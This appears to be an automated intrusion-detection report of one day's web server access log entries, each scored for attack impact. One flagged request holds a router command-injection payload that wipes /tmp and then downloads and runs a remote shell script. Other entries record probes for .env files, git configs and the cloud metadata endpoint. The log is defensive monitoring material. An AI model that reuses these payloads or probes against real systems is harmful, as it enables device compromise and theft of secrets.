Summary: one incident discovered from one client

	192.168.21.127 | 1 incident | impact ∑: 17	attacks only
	Description: A human attacker and targeted scan yesterday. A total of one incident was discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 00:59:31 +0100 GET / HTTP/1.0 200 224482 - Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 01:35:55 +0100 GET / HTTP/1.0 200 224477 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 01:36:12 +0100 GET /favicon.ico HTTP/1.1 404 456 http://91.223.222.117/2022_12_04_report_access.log.1.html Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 01:36:18 +0100 GET /favicon.ico HTTP/1.1 404 462 http://webproxy1.opennet.hu/2022_11_26_report_access.log.1.html Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 01:49:54 +0100 GET / HTTP/1.1 200 10117 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 03:01:56 +0100 GET / HTTP/1.1 200 224739 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 03:33:48 +0100 GET / HTTP/1.1 200 10117 - Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 03:57:23 +0100 GET /?withme HTTP/1.1 200 10117 - python-requests/2.31.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 03:57:23 +0100 POST / HTTP/1.1 404 456 - python-requests/2.31.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 04:13:24 +0100 GET / HTTP/1.1 200 224739 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 04:36:08 +0100 GET / HTTP/1.1 200 10117 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 04:45:30 +0100 GET / HTTP/1.1 200 224739 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 05:08:43 +0100 GET / HTTP/1.1 200 10117 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 05:51:37 +0100 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 06:47:11 +0100 GET /2019_12_16_vipex_access.log.1.html HTTP/1.1 200 244 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 06:50:45 +0100 GET /2022_12_04_report_access.log.1.html HTTP/1.1 200 34076 - Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 07:30:18 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 07:30:21 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:06:22 +0100 POST / HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:06:22 +0100 POST / HTTP/1.1 404 456 - Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:16:27 +0100 GET / HTTP/1.0 200 225225 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:19:59 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:20:45 +0100 GET / HTTP/1.1 200 225490 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:31:42 +0100 GET /manager/html HTTP/1.1 404 457 - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:41:29 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 08:46:13 +0100 GET /2023_08_15_vipex_access.log.1.html HTTP/1.1 304 142 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 09:06:38 +0100 GET / HTTP/1.1 200 10163 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 09:24:46 +0100 GET / HTTP/1.1 400 493 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 10:27:12 +0100 GET / HTTP/1.1 200 10154 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 10:36:59 +0100 GET / HTTP/1.1 200 10154 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 10:41:13 +0100 GET /.git/config HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 10:47:19 +0100 GET http://169.254.169.254/metadata/instance?api-version=2021-02-01 HTTP/1.1 404 457 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 10:58:15 +0100 GET /2021_11_01_vipex_access.log.1.html HTTP/1.1 200 31329 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 11:43:15 +0100 GET /2021_12_22_vipex_access.log.1.html HTTP/1.1 200 31694 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:16:35 +0100 GET / HTTP/1.1 200 10154 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:18:19 +0100 GET / HTTP/1.1 200 10154 http://91.223.222.117:80/left.html Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:19:27 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0 (Edition Yx 05) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:21:26 +0100 GET / HTTP/1.1 400 493 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:22:57 +0100 GET / HTTP/1.1 400 493 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 12:56:22 +0100 GET /2022_01_18_vipex_access.log.1.html HTTP/1.1 304 146 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 13:14:27 +0100 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 13:16:09 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 14:10:57 +0100 GET / HTTP/1.1 200 225495 - Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 17 dt id lfi xss csrf rfe - 192.168.21.127 - - Tue, 16 Jan 2024 14:21:30 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd /tmp; rm -rf *; wget http://104.168.5.4/tenda.sh; chmod 777 tenda.sh;./tenda.sh) HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 14:31:04 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 15:03:31 +0100 GET /2022_08_11_vipex_access.log.1.html HTTP/1.1 200 48791 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 15:15:32 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 15:32:52 +0100 GET /2022_01_03_report_access.log.1.html HTTP/1.1 200 244 - Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 15:53:15 +0100 GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1 404 456 - Mozilla/5.0 zgrab/0.x 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 17:15:20 +0100 GET /2021_11_16_vipex_access.log.1.html HTTP/1.1 200 31207 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 17:15:38 +0100 GET /2022_01_24_vipex_access.log.1.html HTTP/1.1 200 244 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 17:36:57 +0100 GET /api/.env HTTP/1.1 404 456 - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 17:43:55 +0100 GET / HTTP/1.1 200 10154 - Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 18:08:30 +0100 GET / HTTP/1.1 200 225489 - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 18:44:51 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:07:22 +0100 GET http://45.14.244.249/a.php?pro=91.223.222.117:80 HTTP/1.1 503 568 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.115 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:31:44 +0100 GET / HTTP/1.1 200 10154 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:40:34 +0100 GET /cgi-bin/luci HTTP/1.1 404 456 - Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:40:34 +0100 GET /cgi-bin/luci/admin HTTP/1.1 404 456 - Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:41:16 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 19:44:14 +0100 GET /cf_scripts/scripts/ajax/ckeditor/ckeditor.js HTTP/1.1 404 456 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 20:15:20 +0100 GET /2019_12_30_vipex_access.log.1.html HTTP/1.1 304 146 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 20:48:14 +0100 GET /2020_11_28_vipex_access.log.1.html HTTP/1.1 304 146 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 21:50:50 +0100 GET /.env HTTP/1.1 404 456 - Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 22:07:52 +0100 GET /2021_12_19_vipex_access.log.1.html HTTP/1.1 200 35260 - Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 22:36:04 +0100 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1 200 10154 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 23:03:54 +0100 GET / HTTP/1.1 200 225489 - - 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 23:03:57 +0100 GET /favicon.ico HTTP/1.1 404 456 - Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 23:37:52 +0100 GET /robots.txt HTTP/1.1 404 462 - Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 0 none - 192.168.21.127 - - Tue, 16 Jan 2024 23:41:36 +0100 GET / HTTP/1.1 200 225489 - -